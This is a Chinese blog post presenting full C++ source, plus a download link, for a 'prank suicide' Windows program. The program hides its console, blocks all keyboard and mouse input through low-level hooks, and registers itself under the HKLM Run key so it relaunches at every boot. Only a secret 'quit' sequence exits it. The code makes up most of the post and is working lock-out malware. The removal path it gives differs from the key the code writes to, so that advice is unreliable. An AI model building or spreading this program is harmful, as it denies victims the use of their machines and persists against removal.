『other』恶搞自杀小程序

来源:互联网 发布:淘宝搜索算法 编辑:程序博客网 时间:2024/04/29 02:10

去年写过一个关于键盘钩子控制视频播放的程序,今年偶然想起来都不知道怎么弄的了。

于是,今天又研究了一下。

之前有想过利用它可以写点恶搞的小程序。今天想了想,于是就有了这篇恶搞自杀小程序。


原理比较简单,仅作记录。


首先,创建一个win32控制台程序,申明一个钩子变量和模块句柄变量,分别创建键盘钩子和鼠标钩子:

HHOOK hHook;HHOOK mouseHook;HINSTANCE hInstance;hInstance= (HINSTANCE)::GetModuleHandle(NULL);//创建键盘钩子hHook= SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, NULL);//创建鼠标钩子mouseHook= SetWindowsHookEx(WH_MOUSE_LL, MouseHook, hInstance, NULL);

然后写键盘钩子和鼠标钩子相应的回调函数,这里我们只要让他们的返回值不为0就能实现对键盘鼠标消息的锁定,其他程序就得不到消息了,动鼠标和键盘会没任何反应!

//鼠标消息响应函数LRESULT CALLBACK MouseHook(int nCode, WPARAM wParam, LPARAM lParam){//返回非0的数则可以截断次消息return 1;}//键盘消息响应函数,只有在输入"quit"后程序才能退出,不然真的就死定了LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){KBDLLHOOKSTRUCT* pkhs = (KBDLLHOOKSTRUCT*)lParam;if(nCode == HC_ACTION){if(wParam == WM_KEYUP){if(pkhs->vkCode == 0x51 && password == 0)password = 1;if(pkhs->vkCode == 0x55 && password == 1)password = 2;if(pkhs->vkCode == 0x49 && password == 2)password = 3;if(pkhs->vkCode == 0x54 && password == 3)exit(-1);}}return 1;//如果执行下面这一句则可以让其他程序得到键盘消息//return CallNextHookEx(hHook, nCode, wParam, lParam);}
可以看到其实我在这里做了一下手脚,按下“quit”程序其实就退出了(不能让自己真的中招啊!)

然后添加消息循环函数和卸载钩子:

MSG msg;//消息循环while(::GetMessage(&msg, NULL, 0, 0) > 0){TranslateMessage(&msg);DispatchMessage(&msg);}//卸载钩子::UnhookWindowsHookEx(hHook);::UnhookWindowsHookEx(mouseHook);hHook = NULL;mouseHook = NULL;

哈哈,这样就基本完成了。

为了更贱一点点。。呵呵,我们可以让程序开机自动启动。。。

在main函数的最前面加上这些就能完成啦,自动写入注册表:

//******把程序写入注册表,加入到自动启动项中,开机就自动启动这个程序了,慎用!!*****//HKEY hKey;LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS , &hKey);if(status != ERROR_SUCCESS)return -1;TCHAR filePath[MAX_PATH] = {0};  if(!GetModuleFileName(NULL, filePath, MAX_PATH))return -1;status = ::RegSetValueEx(hKey, L"suicide", 0, REG_SZ, (BYTE*)filePath, (wcslen(filePath)+1)*(sizeof(WCHAR) ));if(status != ERROR_SUCCESS)return -1;RegCloseKey(hKey);//******************************************************//

对了,我们不能让程序出来了,所以隐藏一下控制台的黑框,只用调用一句话:

//去掉控制台黑框#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") 

哈哈,大功告成了,只要点下这个程序,你就可以安心的去啦,万事无忧!

呃。。。别真的去点啊,点了就悲剧了,程序写进了注册表,鼠标键盘都失效啦,重启程序自动启动啦,真的是死翘翘了。

我可没真去试,不过我想了想,如果谁真的想不开点了这个程序,用PE进系统把程序删掉应该可以解决,完全模式不清楚可不可行。最好别试。


下面是完整的源码:

#include <Windows.h>//去掉控制台黑框#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") HHOOK hHook;HHOOK mouseHook;HINSTANCE hInstance;static int password = 0;//鼠标消息响应函数LRESULT CALLBACK MouseHook(int nCode, WPARAM wParam, LPARAM lParam){//返回非0的数则可以截断次消息return 1;}//键盘消息响应函数,只有在输入"quit"后程序才能退出,不然真的就死定了LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){KBDLLHOOKSTRUCT* pkhs = (KBDLLHOOKSTRUCT*)lParam;if(nCode == HC_ACTION){if(wParam == WM_KEYUP){if(pkhs->vkCode == 0x51 && password == 0)password = 1;if(pkhs->vkCode == 0x55 && password == 1)password = 2;if(pkhs->vkCode == 0x49 && password == 2)password = 3;if(pkhs->vkCode == 0x54 && password == 3)exit(-1);}}return 1;//如果执行下面这一句则可以让其他程序得到键盘消息//return CallNextHookEx(hHook, nCode, wParam, lParam);}int main(){//******把程序写入注册表,加入到自动启动项中,开机就自动启动这个程序了,慎用!!*****//HKEY hKey;LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS , &hKey);if(status != ERROR_SUCCESS)return -1;TCHAR filePath[MAX_PATH] = {0};  if(!GetModuleFileName(NULL, filePath, MAX_PATH))return -1;status = ::RegSetValueEx(hKey, L"suicide", 0, REG_SZ, (BYTE*)filePath, (wcslen(filePath)+1)*(sizeof(WCHAR) ));if(status != ERROR_SUCCESS)return -1;RegCloseKey(hKey);//******************************************************//hInstance= (HINSTANCE)::GetModuleHandle(NULL);//创建键盘钩子hHook= SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, NULL);//创建鼠标钩子mouseHook= SetWindowsHookEx(WH_MOUSE_LL, MouseHook, hInstance, NULL);MSG msg;//消息循环while(::GetMessage(&msg, NULL, 0, 0) > 0){TranslateMessage(&msg);DispatchMessage(&msg);}//卸载钩子::UnhookWindowsHookEx(hHook);::UnhookWindowsHookEx(mouseHook);hHook = NULL;mouseHook = NULL;return 0;}

对了,这个程序运行了,会在启动项里添加自动启动项,只有在注册表里才能删掉,路径如下:

HKEY_LOCAL_MACHINE\Software\Microsoft\Shared Tools\ Msconfig,在里面直接删掉那个程序的文件夹就行了(这里是suicide)。

源码和执行文件下载地址:

http://download.csdn.net/detail/ppandaren/6600995


最后引用泰戈尔的诗句:


愿生如夏花之绚烂,死如秋叶之静美。



原创粉丝点击